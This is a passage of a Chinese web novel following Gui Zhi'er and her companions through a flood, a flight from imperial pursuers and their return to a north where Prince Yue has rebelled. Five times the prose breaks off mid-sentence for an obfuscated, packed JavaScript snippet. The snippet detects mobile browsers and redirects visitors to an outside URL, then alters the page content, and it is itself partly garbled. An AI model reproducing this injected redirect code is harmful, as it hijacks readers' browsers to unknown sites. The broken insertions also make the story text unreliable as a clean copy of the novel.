夜幕深沉，妇女蜷缩在大殿草席上，满心忧虑。 雨水集得够不够？明日可有干净的水喝？ 娃儿还小，能否熬过这场祸事？ 烛火已熄灭，月光被厚重的雨云遮挡，一片漆黑。 男人翻了个身，将她搂入怀中，轻轻拍着后背安慰。 只要人活着，总会有出路。 翌日清晨。 睡得不踏实的百姓们，情绪从被灾难带来的震惊中转为悲伤。 “俺家田里的水稻正在孕穗儿呢，好可惜哩！”大婶用布满老茧的双手抹着眼泪。 “咱货架上春日里的风筝没卖完。”杂货铺掌柜的也心痛不已，“还新摆了几个九连环。” 都是孩童们爱不释手的紧俏货。 可现在，什么都没了！ 一向平安顺遂的小县城，为何就被洪水冲了呢？ 此时，一股浓郁醇厚的大豆香隐隐传来。 众人停止哭诉，吸了吸鼻子。 “怎么像是酱烧鹅的味儿呢？”杂货铺老板喃喃自语。 “啪。”旋即又轻扇了自己一嘴巴，“罪过罪过！” 佛堂圣地禁荤辛，想来自己是饿晕了头。 但那香味儿不减，在秘制酱料的浸润下，直往人鼻子里钻。 似乎在烤制过程中，酥脆外皮还散发着独特的焦香。 “咕噜噜。”众人嘴上不说，肚子却又阵阵作响了。 循着味儿来到香积厨，只见桂枝儿带领两个小学徒正在做大锅饭。 煮熟的山药被切成一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14994482|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寸小段。 用豆皮包裹定型。 “滋滋。” 下锅小火慢煎，再用糖和豆酱翻炒上色，直到表皮酥脆卷曲。 与炭火烤制的烧鹅，虽形不同，但神相似。 简直是对味蕾的极致诱惑。 任凭偷看者再眼馋，这美食也进不到他们的肚子里。 这是桂枝儿特意用来犒劳大师傅和将士们的。 “多谢小娘子！”当地驻军屯长拱手道谢。 盘中素烧鹅，由薄如蝉翼的豆皮裹着，油亮诱人。 内里是绵密的山药，一口咬下，从酥脆到软糯，甜咸交织。 “好吃，太好吃了！”将士们顿时两眼冒光，食欲大增。 而栾小将军并没有凑这个热闹。 他与寻常百姓一同，就着素炒豆腐大口吞咽米饭。 切大块的豆腐在挂糊油炸后，与笋、香菇等配料炒制。 外脆里软，香嫩可口。 他腮帮子一鼓一鼓，每一口都吃得酣畅淋漓，甚至意犹未尽地舔着唇角。 洪水来得早，反而无须担心粮食等物资储备不足。 蠡县虽地势低洼，但下游河道畅通，只要水流能够顺利下泄，洪水短时间内定会退去。 “况且，盛夏未过，江南地区种双季稻，还赶得上第二波插秧收割。”谢鸢慢条斯理地说道。 春季的收成被毁了，也不至于真就饿死人。 勒紧裤腰带，便不必当流民。 小谢公子轻嚼慢咽，执木箸的手指白皙修长。 他微微欠身，夹向盘中最后一块豆腐，举手投足间尽显矜贵。 “啪。”栾霜柏眼疾手快，果断劫走了这块豆腐。 “谢公子，照你这么说，水源源不断流下去岂不是要把杭京给淹了。” 他歪着头，笑嘻嘻道。 谢鸢被几番针对，眼眸依旧温润。 可被抢走豆腐后，嘴角轻抿，难得有些委屈。 他不再搭理小将军，摆出一副“食不言”的模样。 “这位好汉为何愁眉不展？” 撩拨小谢公子不成，栾霜柏转头和船把头搭话。 后者摘下了斗笠，依旧身着粗布麻衣，满脸风霜。 混迹江湖道的人多少有些匪气，可船把头身姿笔挺，反倒有些军人神态。 他沉默了一瞬。 “突然想到，尚未修书予主上报平安。” 话音刚落，栾霜柏手中筷子“哐当”一声掉落在碗上，发出清脆的声响。 “遭了，把这茬忘了。” 90. 樾王有令 北境，中心府城。 新修建的北城门正对着巍峨耸立的梅山，厚重古朴的石门与混凝土交错，坚不可摧。 “哗啦啦。”城墙上，旗帜在风中烈烈作响。 旗面绣着北境特有的冰原狼图腾。 若是桂枝儿与众学子见到，定会大吃一惊。 离乡不过半载，镇北府已改头换面，甚至连守城的偏将都是熟人。 面容朴实憨厚的男子身着铠甲，提着两板斧子。 乃东鲁府花山岗大当家的—— 双板斧黑风煞是也！ “将军，樾王有令，镇北易帜。”驼衣侍从神情严肃地低声说道。 尽管旗子早已换好，但听闻此言，几位领头的将士依旧心头一紧。 颤栗之后，下跪领命。 自此，他们不再效忠杭京朝廷，唯樾王马首是瞻。 镇北府，宣告独立！ 半个时辰前。 镇北府衙二堂偏院的书房内，古朴的铜香炉袅袅生烟。 那香味清幽淡雅，似深山古寺中的清泉，让人不由心神安宁。 书案前，彻夜未眠的男子正闭眸小憩片刻。 他满头乌发中夹杂着几缕银丝，肤色苍白透明，面庞消瘦。 男子美得犹如汝窑白瓷，温润柔和，却又脆弱易碎。 然而，他浓密的睫毛不安地颤动着，眉心紧锁。 在梦中，母妃端坐于慈元殿。 她的发髻高耸，绿翡翠、白珍珠、红玛瑙，层层珠翠镶嵌其中。 在昏暗的宫殿里，闪烁着幽冷的光，像无数颗冰冷的眼睛在暗中窥视。 “吾儿，你乃大梁皇子。” 发钗垂下的流苏随着母妃轻微的动作晃动着，发出细碎又冰冷的声响。 “身负江山社稷之重任，实不该将过多心力沉湎于笔墨丹青。” 伴随着一声沉闷的撕裂声，宣纸一分为二，飘落在地。 母妃嘴角挑起一抹冷笑，将颜料盒打翻。 朱砂、石青、藤黄在地上蔓延开，交织出一种奇异而又压抑的色彩。 “是，儿臣知错。”年方七八的幼儿声音止不住地颤抖。 转眼间，幼儿变幻为身姿挺拔的少年。 面容褪去稚嫩，五官轮廓分明。 敌军压境，岭南倭寇屡屡侵犯大梁疆土，少年披上战甲。 他举起陌刀，双腿夹紧马腹，如离弦之箭般冲入敌阵。 “将士们，随本王杀敌！” 红色鲜血如汹涌的潮水，不断翻涌，吞噬眼前的一切。 “朕命你领军出征，是要你坐镇军中，统筹全局！而非逞匹夫之勇，贸然上阵杀敌。” 父皇将手中奏折狠狠摔在御案上，砚台被震得跳动，墨汁溅出。 “身为国之储君，怎可如此鲁莽？” 时过境迁，意气风发的帝王也有衰老的时候。 他走向龙椅的步伐略显迟缓，龙袍垂在地上，嗓音沙哑而微弱。 “南巡……”他咳嗽两声，继续说道，“携天子印以行。” 而后抛来一块平平无奇的吊坠。 正适合系在腰间。 入陷阱，受重伤。 昏迷良久再睁眼时，先帝已宾天。 鹅毛大雪飘落，他推开一家小店的门。 灶台里的柴禾和秸秆燃烧不止，发出噼里啪啦的声响。 暖意弥漫。 “开饭啦！”清脆欢快的女声传来。 浓郁鲜香的卤肉，淋在热气腾腾的米饭上。 一碗毛豆丝瓜汤摆在中央。 他微微一笑，刚准备坐下，不知从何而起的三丈巨浪汹涌扑来。 洪水猛地将他卷入其中。 鼻腔、喉咙被冷水填满，眼前只剩漆黑。 少顷他又被抛出水面，趁机大口喘息，拼命挣扎。 “主子，主子……” 遥远的声音传来，男子从噩梦中脱离。 他猛地睁开眼睛，深吸几口气，胸膛剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15022671|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈起伏。 前朝太子殿下，樾王梁樾。 在镇北府衙醒来。 “何事？”他揉揉太阳穴，疲惫地问道。 管家眼中满是心疼。 倒不是什么要紧事儿，只不过找个借口把主子从噩梦中唤醒。 “柳花魁吵着想离开府衙，被老奴拦住了。”管家双手交叠在身前，神色恭敬。 见主上并无不满，未再多言。 “客栈有新到的信件吗？”樾王凝视着书案上的舆图。 他的指尖从杭京出发，沿河北上，停留在蠡县一带顿住。 指节微微凸起，骨骼轮廓清晰可见。 “回主子，还没有。”管家张了张嘴，心中有些担忧。 原定计划，待桂小娘子等人换乘快马绕武进道后，由暗探护送。 可眼下，洪水肆虐，一行人生死不明。 反观北境。 借着蔡统领通敌叛国的契机，军队人员洗牌，已尽在掌控。 权摄镇北经略大将军德顺公公主张割地求和的消息传出，百姓无不唾骂。 士气盛、民心齐。 正是镇北揭竿而起的好时机。 是顺势而为，还是再为桂枝儿等人争取一些撤离时间…… “主子，欲图大事者，必杀伐果断。”管家忍不住多嘴。 “昏朝的变钞政策使得物价飞涨，贪腐导致财政入不敷出，自清野州始，起义和民变正风起云涌。” 若在此时举旗，吊民伐罪，师出有名！ 与大局相比，一封报平安的信到没到，显得无关紧要。 “昭告天下吧。” 夏日午后，蝉鸣阵阵，日光透过窗棂，在男子身旁洒下斑驳光影。 他眼眸透着温润的光泽，微微仰头，望向榉木书格上，天竺菩提的摆件。 雕刻菩提的叶子枝条伸展。 一切有为法，如梦幻泡影，如露亦如电，应作如是观。 若小娘子回不来，是她的命。 91. 逃亡路上 “菩萨保佑。” 相隔万里，古寺的飞檐斗拱下，铜铃正发出清脆声响。 桂枝儿一身劲装，跪倒在佛殿前的蒲团上。 女子身姿挺拔，即便跪地也难掩飒爽。她双手交叠，手上有舞刀弄枪留下的薄茧。 她缓缓低头，额头轻触蒲团，露出的后颈线条清晰有力。 “女侠信佛法？”谢鸢跪在一旁问道。 桂枝儿摇摇头，起身时干脆利落，带着几分随性。 “只不过谢佛祖这几日借宝地庇佑我等。”她笑了笑，“否则咱们说不定已经被洪水冲回杭京，自投罗网了。” 谢鸢听着有趣，嘴角微微上扬，绽出一抹清浅的笑。 “灾区重建一事，小谢公子已安排妥当否？”桂枝儿挑了挑眉。 他们顶着朝廷委派督察的名头，不能长期赖在蠡县不走。 眼下洪水退去，也该各奔东西。 “与那县令交代过了。”谢鸢垂眸，双手徐徐合十。 “未及时修缮堤防致大祸，他作为主司理应被夺职。”他娓娓道来。 “鉴于罕见大雨、河水改道等外因，兼之转移救灾有力，功过相抵。” 打一巴掌给个甜枣。 在小谢公子的威逼恐吓下，蠡县县令捣头如蒜。 “大人放心，灾区重建乃当务之急，关乎百姓生计与社稷安稳，下官定当殚精竭虑！” 县令扯着皱巴巴的官服，两撇稀疏的胡须摇摇欲坠。 仿佛生怕督台大人反悔，要了他的小命。 论小谢公子的处事之能，桂枝儿毫无疑虑。 “文官执笔安天下，武将马上定乾坤。”她掐指一算，“樾王有你两位得力干将，繁荣镇北指日可待？” 桂枝儿眨了两下眼，表情诚恳。 亏她还以为小谢公子是谢家弃子，曾略施恻隐之心。 合着只有她自己被蒙在鼓里！ 谢鸢抬手摸了摸鼻子。 于寺庙蹉跎几日，他一袭月白锦袍依旧淡雅，此刻面对诘问，如玉的面庞却泛起了一层淡淡红晕。 他没有反驳，只是下意识地垂眸，那浓密卷翘的睫毛，如受惊的蛱蝶般微微颤动。 不知是在着急，还是在心虚。 狗男人不可信啊…… 桂枝儿回忆起柳千金的忠告，笑道：“不谈政事，倒是忘记问小谢公子了，千金姐姐在楚淮可好？” 不问不要紧。 一问才知道，柳千金接了封信，已动身返回北境。 “啊？”桂枝儿这下更是丈二和尚摸不着头脑。 她想不明白。 花魁娘子好不容易脱离苦海，为何又原路返回呢？ “看来二位聊得很投缘。” 栾小将军牵着雪影大踏步走来。 少年身材挺拔，习武之人走得稳，配上那张脸，令人赏心悦目。 “镇北易帜的消息已八百里急报传到京城，咱们该动身了。” 他不着痕迹地将桂枝儿与谢鸢隔开，白驹也乖巧地停住，轻轻甩动一下尾巴。 “耽搁公子雅兴了。”栾霜柏歉意一笑。 防小谢公子跟防贼一样。 不明就里的人，估计会以为——新旧两任驸马为争裕和公主产生过龌龊。 桂枝儿被自己的想法逗笑了。 “姑娘笑什么？” “女侠为何发笑？” 二人再次异口同声。 “咳。”桂枝儿伸手指向古寺墙头，“看，小猫打架。” 夏日午后日光暖煦，古寺的黄墙被镀上一层金边，不知从何跑来觅食的两只狸花猫狭路相逢。 一方弓起脊背，炸毛发出“呜呜”声宣告主权。 另一方则挥舞爪子，将墙头的瓦松撞得东倒西歪。 然而这是逃亡路上最后的惬意。 离开蠡县，换快马绕武进道后，一行人狼狈不堪。 朝廷将通缉悬赏传檄各地官府。 首当其冲是“叛国通敌”的准驸马栾霜柏——凡能提供准确线索，协助朝廷捕获其者，赏银千两。 若能直接将其擒获扭送至官府者，赏金万两，并赐良田百亩。 “竟不知小将军身价如此贵！”桂枝儿缩在山洞一隅歇息。 烈日似火，深山老林宛如蒸笼，汗水湿透她的衣衫，贴在身上又黏又腻。 耳畔蚊虫嗡嗡作响。 栾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15036243|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜柏慵懒地躺在山洞门口望风，一只胳膊枕在脑后，另一只手执宽大的芭蕉叶扇风。 “不敢当。”他骄傲地扬了扬头，坦然接受了桂枝儿的赞誉。 繁茂的枝叶层叠，将骄阳剪切成细碎光影。 “居然让我等归案自首，保证既往不咎，可笑！”书生们挥动着手臂，试图驱赶这些恼人的蚊虫。 可脸上、手臂上还是留下了一个个红肿的包块，瘙痒难耐。 “定是留命作筹码，来要挟家乡的父老乡亲。”书生们经过科举舞弊案这一遭历练，不再天真。 造反之事，开弓没有回头箭。 众人靠闲聊放松紧绷的神经，也强忍着痛楚。 因长时间骑行，不少人大腿内侧表皮已有大面积擦伤，甚至隐隐可见密密麻麻的血丝，边缘还泛着青紫色。 纤细娇弱的女学子，强忍住泪水。 在京城时，她春闱答卷十分顺畅，本以为有望取得名次。 岂料朝廷弃他们普通学子如敝履，置而不问，连个公道都不肯给。 遭洪水，遇追兵。 这一路走来，她愈发理解了木犀先生，也就是桂小娘子曾经的教导。 “学贵致用，万万不可拘泥于书本。若想投身政途，需先察民生之疾苦，晓社稷之利弊。” “先生，北境的樾王殿下，也会兴科举吗？”女书生问出了心中期盼。 她不愿放弃，想以所学之理造福黎民百姓。 这还用得着问？ 桂枝儿打了个哈欠，洞口落入的阳光刺得她眼眸微眯。 樾王殿下那个老狐狸，若非想直接招揽一批有文化的青年才俊，怎会费功夫安排暗卫带他们脱险。 “嘘，有动静！”栾霜柏耳尖轻动，从地上一跃而起。 众人瞬间屏住呼吸，掌心冒汗。 树木间似乎传来了细微的摩擦，“沙沙沙”声不断。 像是有人马正拨开茂密的枝叶和灌木，小心翼翼地靠近。 紧接着，哒哒的马蹄音也来凑热闹，一下又一下，充满压迫感的节奏敲击在人心上。 栾霜柏横起红缨枪，身姿微微下沉，蓄势待发。 来者是敌是友？ 92. 吃炝醉虾 突然，几声尖锐的口哨穿透而来。 哨音三高一低，众人原本如拉满弦的弓，听闻此声一下子松懈了下来。 对过暗号，手握泛黄羊皮纸地图的谢鸢从灌木丛后缓缓走出。 衣摆和袖口沾染了些许泥土草屑，却无损他出尘的气质，低调作山野农夫打扮的船把头紧随其后。 “在县城里买了些吃食，大家分一分。” 言语间眼波流转，小谢公子恍若刚从一场酣甜的林中小憩里苏醒，慵懒又迷人。 虽然只是简单的野菜窝窝头与面饼，众人却眼睛都冒着绿光。 实在是，饿啊！ 普天之下莫非王土，通缉令一出，几十号逃犯本就惹眼，只敢挑荒山辟岭的小路逃窜。 更不必说生火做饭了。 唯有不在通缉名单上的谢鸢与船把头，能时不时混进城打探一二。 “客栈有新消息吗？”桂枝儿从山洞中探出脑袋。 一封信被推至眼前。 打开素白宣纸，墨迹大有不同。字的起笔处藏头护尾，虽好看，但却透着几分圆滑。 桂枝儿讶异地挑了挑眉。 “据说寄信人是户部侍郎马碌。”谢鸢亦是疑惑。 如此小官，怎的也有渠道投靠北境。 桂枝儿与栾霜柏了然一笑，顿时心有灵犀。 这前任镇北知府马碌，眼见继任造反，追究起来自己脱也不了干系，恐怕彻底倒戈了。 马碌寄来的信件颇为有趣，详述了京城近日动态。 桂记卤味店挂上了“歇夏”的木牌。 达官显贵们想满足自己的口腹之欲，只得退而求其次，重回翠园楼。 恰逢盛夏，城郊湖中用竹篓养着的小虾活蹦乱跳。 “各位客官，咱翠园楼的炝醉虾可是一绝，尝过保准还想再来！”主事拱手迎客。 这道菜桂枝儿也会做。 得先将小虾剪须洗净，用花椒沫和姜沫拌上一拌，再倒入半杯烧酒。 配料不多，吃的就是一个鲜活！ 京城科举舞弊案闹得沸沸扬扬，大理寺正裴家小儿的试卷漫天飞舞，颜面尽失。 但只要圣上一天没发话，事情就不见得没有转机。 禁足半月后，脑满肠肥的裴家小儿坐不住了。 央求母亲允许他出门放放风。 一帮狐朋狗友齐聚翠园楼。 “炝醉虾先给爷来上三盘！” 他阔气地甩出几张承朔宝钞，钞票不值钱嘛，不花白不花。 店小二苦笑着应承下来。 微启碗沿，以箸夹之。 醉倒的小虾软绵无力，被轻易扔到料汁碗里，蘸了些许醋或酱油。 再递到嘴边，裴家小儿用上下牙齿一咬，便灵活地吐出虾壳。 舌尖先是感受到酒的辛辣刺激，随后品味到虾肉的鲜甜悠长。 妙哉妙哉！ “我说裴老弟，你还有心思吃呢？”尖嘴猴腮的纨绔歪坐在雕花檀木椅上。 他锦袍领口大敞，一双细眼闪着阴鸷的光。 “就不怕圣上震怒，定你个欺君之罪？” 裴家小儿嘿嘿一笑，依旧如嗑瓜子般吮食出甜虾。 紧致的虾肉尚在跳动，汁水四溢。 “休要胡说！”他摆了摆手。 怕什么，裴家奉上金银珠宝，已从爵爷那里得到了口风。 科举案牵扯甚广，圣上不会追究到底。 至于如何对百姓交代—— “北境叛贼”蛊惑书生谋乱是再合适不过的借口了。 凡户籍为镇北的举子，都可以用来背锅。 如此简单粗暴的处理，岂能堵住悠悠众口？ 尖嘴猴腮的纨绔翻了个白眼，他是不学无术，但他不傻。 朝廷肯定还要再抓几个主犯杀鸡儆猴，以示天威。 就不知谁会是这倒霉蛋罢了。 正想着，“砰！”一声巨响。 包厢大门被猛然推开，腰佩长刀的禁军们，如黑色潮水般鱼贯而入。 “罪犯裴明睿，涉嫌科举舞弊，下诏狱听审。” “跟我们走一趟吧。” 裴家小儿顿时傻眼了。 刚夹到嘴里的活虾，许是醒酒了，一跃而起戳到喉咙里。 “咔咔。”惊惧中，他的眼睛瞪得滚圆，脸上肥肉因痛苦而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15056702|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭曲。 裴家小儿双手疯狂在脖子上乱抓，脸色通红，试图把活虾抠出来。 椅子被他晃得嘎吱作响。 最终几致丧生。 户部侍郎马碌信中描绘的场景活灵活现，好似他正趴在桌底窥探。 桂枝儿挑拣些有趣的内容给大家读。 说到关键处，可把大伙儿急坏了。 一个个连野菜窝窝头也不往嘴里塞了，身子拼命向前探，脖子伸得老长。 “哼，那个草包舞弊，罪有应得。”有人忿忿骂道，“只是不知被调换的都是谁的卷子。” “可惜，本届春闱恐怕再无后文了。”一声叹息。 三年又三年，满腔热血的书生们有几个三年能被耽误呢？ 王蒲拿起面饼，咬下一角慢慢咀嚼，动作迟缓。 他眉头蹙起，虽转瞬即逝，但仍能看出心底的落寞。 “行啦，都别难过了。”桂枝儿大手一挥，“既然小谢公子探得附近暂且安全，我来添个菜。” 天天将就对付一口，嘴里实在没个味道。 两名小学徒自觉地站起身，紧跟桂枝儿向密林深处走去。 菌菇野果，山珍河鲜……夏日大自然有无限的馈赠，静待人们采撷。 路途漫漫，几十号“逃犯”日渐有了默契。 小谢公子带路，利用山林地形，众人时而分散逃窜，时而齐头并进。 栾霜柏与船把头则负责盯梢，保障队伍安全。 夜晚围着一点篝火，桂枝儿抿一口淡竹叶茶，大谈游击战术。 翌日，朝廷追兵循着脚印追入山谷。 谷中静谧异常，片刻后随着“轰隆隆”的巨石滚落声，退路瞬间被堵。 几次三番戏弄下，追兵们被折腾得疲惫不堪，士气低落。 “这些贼子跑就跑了，我们干脆只当没见过。”地方军长无可奈何。 左右比起赏银，还是自己的小命重要。 更何况，听说杭京已经不流通真金白银，单靠印发纸钞糊弄。 物价涨上了天。 “莫说调兵镇压北境反贼，京城不出乱子就不错了。”地方军长在心里嘟囔着。 93. 万里归乡 辗转月余，越往北走天气越凉。 一行人接近镇北府时，已是仲秋时节。 “只要闻着这山核桃、野栗子的香味，就感觉到家了。” 举子们衣衫褴褛，面容被日光晒得黝黑，哪还有曾经白面书生的模样。 在东鲁与北境的交界处，大山恍如五彩锦缎。 高大的枫叶染红一片天，扇形的银杏在地上铺了一层金毯，仰头看去，蓝天寥廓，白云高远。 “咴儿咴儿。”白驹衔住几颗山葡萄，欢快地咀嚼着。 因它总能嗅出最甘甜的果子，栾霜柏便毫不客气地抢了一串，赠予桂枝儿。 惹得白驹不满地打了个喷嚏。 “多谢小将军。”桂枝儿笑眯眯地接过。 本以为在朝廷围剿下，战火交接的边境地带会呈现一片土地荒芜、房屋倒塌的惨状，百姓们衣不蔽体在生死边缘挣扎。 岂料，镇北一片祥和。 甚至还有大量行商和流民涌入，想在此处谋个生计。 “您若初来乍到，就去救病坊或是众济院。”那消息灵通的包打听口沫四溅，“粮食、衣被、柴薪都有定量供给。” 而后听从官府分配，最不济也能做个收割庄稼的短工。 “给地主老爷们干活儿？”瘦骨嶙峋的难民嗫嚅道。 他打心底里不愿意。 要不是大财主圈地赶跑了他们，怎会背井离乡当难民。 “嗨！咋可能！”包打听脑袋一昂，下巴高高扬起，眼中满是骄傲，“在咱北境，知府……哦不，是樾王大人早就改革啦。” 人头税与田赋税实行新政，匿田直接收归官府。百姓身上的担子减轻，连挥舞镰刀都更有干劲了。 “樾王乃圣明之主啊！”流民们顿时心生向往。 凌河县城外兴起的集市人群熙攘，叫卖声不绝于耳，就是镇北府繁荣的最好证明。 放眼望去，赶集的摊位密密麻麻。 有巴蜀的行商操着一口川音，热情地吆喝过往来客摸一摸丝绸，也有泽州的生意人正在吹嘘他带来做工精美的鼻烟壶。 “此乃吾乡？久别至此，竟形同陌路！”举子们低头看了看身上打着补丁的破衣服，比真正的难民还凄凉几分。 颇有种少小离家老大回的感觉，恍若隔世。 “先来十个油炸糕、二十个大果子，大碴粥和豆腐脑咱自己打！” 泼辣圆润的女举子豪迈地挥了挥手，这顿她请了。 进了城门沿主街走二里路便是家门口，银子不够自有爹娘来付。 回来了，真好！ 一碗白玉般的豆腐脑，颤颤巍巍晃动着。 “小心烫。”小谢公子微微欠身，从袖间掏出一方素帕，动作轻柔地擦去碗沿溅出的汤汁。 他双手端着碗放到桂枝儿面前，唇角噙着一抹温柔的笑意。 豆腐脑上浇着琥珀色的卤汁。 嫩绿的葱花、香菜点缀其间，鲜香之气袅袅升腾。 栾霜柏紧盯着他看似细心的举动，撇了撇嘴。 无事献殷勤，非奸即盗。 很快众人就被这市井寻常美食引诱，埋头苦吃，同时不忘竖起耳朵听百姓闲话，试图找到镇北变化如此之大的原因。 “要说樾王，比杭京那位可厉害多了。” 李老汉踢了踢脚边两个大竹笼，十几只肥硕的鸡鸭挤在一起扑腾着翅膀，叽叽嘎嘎叫个不停。 “陶土温室你知道是啥吗？” 见外地人摇头，李老汉裂开嘴乐了。 “多亏樾王，咱乡下能种出反季的蔬菜了，这可是了不得的神术！”他赞叹道，“像那蒜苗，每月都能收获一茬。” 栾小将军动作一滞，含着半口豆腐脑，持勺的手停在半空。 他猛地抬头，双眼锐利如鹰，看向声音传来的方向，眸中闪过一丝疑惑。 “你说那些算什么。”王二伯插嘴道，“咱军士们现如今用的连弩，砌城墙地道用的灰白玉岩，都是樾王整出来的！” 他家中有人在官府当差，了解更多小道消息。 “这樾王呀，是老天爷派来救俺们的！” 围观众人纷纷点头，脸上洋溢着幸福的笑容。 “咣当。”栾霜柏手中的勺子摔落在碗里，原本英气十足的脸庞瞬间凝固。 他双唇微张，却半晌说不出话。 最终磕绊着对桂枝儿道—— “其间也许有什么误会，姑娘容我再问问，老百姓们以讹传讹……” 旁人不知真相，他却再清楚不过了。 他曾与樾王一同喝过陶土温室产出的毛豆丝瓜汤，在指挥营内见识过连□□，俱是桂枝儿的独家巧思。 “不必。”桂枝儿满不在乎地摇摇头。 造势嘛，她懂。 鱼腹藏书也好，石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096055|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人谶语也罢。 从古至今但凡起义，定要宣传一些异象，暗示帝王天命所归的身份。 只不过樾王棋高一着，用利民之事、惠民之举来收拢人心，与杭京朝廷推出那劳什子纸钞相比，高明百倍。 无论如何，桂枝儿都毫不在意。 掌握了“美食系统的最高评价来自于人的情感”这一秘籍，她只想尽快刷任务通关。 “嘎吱”一声，桂枝儿咬一口油炸糕。 油温过高让外皮焦糖化，像是咬到硬壳，掩盖了本身的香甜味道。 她皱了皱鼻子，差评！ 看来时过境迁，在北境美食届，桂记卤味店依旧有一席之地啊。 栾霜柏见她表情变换，满心都是疼惜。 少年下意识地伸出手，正欲摸摸桂枝儿的脑袋，但想到自己仍在樾王麾下，恐惹姑娘厌烦，手在空中僵了一瞬。 随后猛地缩了回去，局促地垂在身侧。 没等他想好要如何安慰，一阵嘈杂声传了过来。 “将军！真的是栾将军回来了！” 离着尚有一段距离，打头的军士已扯着嗓子大喊。 他脚下生风，步伐急促溅起一路尘土，身上披的铠甲随奔跑发出哐当声响。 “将军，吴老六休沐逛集市，说瞅着个人像您。”四行什长“噗通”一声，单膝跪地，胸膛剧烈起伏着，“咱们立刻就来了！” 他大口喘着粗气，汗水顺着脖颈滑落，脸颊上却全是笑容。 自打少将军进京，边防北境第一军丝毫不敢懈怠，每日训练兵器与阵法，坚守国土。 朝廷派来权摄镇北经略大将军的德顺公公，他们压根看不上。 唯有敢打胜仗的栾霜柏，才是他们心中真正的统领。 “起来回话！”栾霜柏爽朗地笑道。 他张开双臂，有力地抬了抬四行什长的肩膀，那手劲带着十足的热络与信任。 离开许久，他也迫切想了解最新军情。 “是！”四行什长起身，动作干脆利落。 定睛一看，小将军更黑了，也更结实了。少年下巴处冒出些许胡茬，稀稀疏疏，为年轻的面庞添了几分成熟男人的魅力。 剑眉星目依旧，劲腰阔步更殊。 而在身旁含笑注视着这一幕的女子，分外眼熟。 “哎呀，将军夫人也在！”四行什长一拍脑门，惊喜地喊道。 94. 柿子红了 将军夫人。 谢鸢抬眸，在心底咀嚼着这四个字的份量。 他依稀记得，桂枝儿曾拿出过一个打磨精巧的饭盒，颜色灰白，但不似银制。 她当时解释说—— “是小女的夫君入伍前留下的。” 莫非栾小将军与桂姑娘……难怪小将军一路对他百般针对，许是护妻心切，打翻了醋坛子。 可是，他二人举止并不亲密，怎么看也不像夫妻啊！ 谢鸢眼眸潋滟的波光里，满是迷茫与不解。 栾霜柏与桂枝儿两位当事人，并未纠正四行什长的称呼。 一人心中窃喜，一人则是习以为常。 徒留小谢公子百思不得其解。 “咱们回经略府详谈。”栾霜柏一只手稳稳地托住碗底，剩余滑嫩的豆腐脑被尽数倒入口中。 他腮帮子轻轻鼓动，囫囵咽下。 临走前，还不忘拾一根金黄酥脆的油炸大果子带着。 饿成这样，小将军此行途中，所历之苦不言而喻。 四行什长看得心酸不已。 凌河县城早已旧貌换新颜。 城门两侧，有高耸箭楼拔地而起，守城士兵居高临下，不仅可以从密密麻麻的箭孔里射击敌军，还能投放礌石和滚木。 城内泥泞的道路也消失不见，取而代之的是宽敞的水泥道。 “桑梓之景，变迁颇大，吾几不识家门矣。”举子们状似抱怨，实则嘴角上扬。 造反好啊，早就该造朝廷的反了！ 在衙门见过骆县令，取得通关文引，几十号“逃犯”就此别过。 据说樾王殿下亦要兴科举，他们摩拳擦掌。 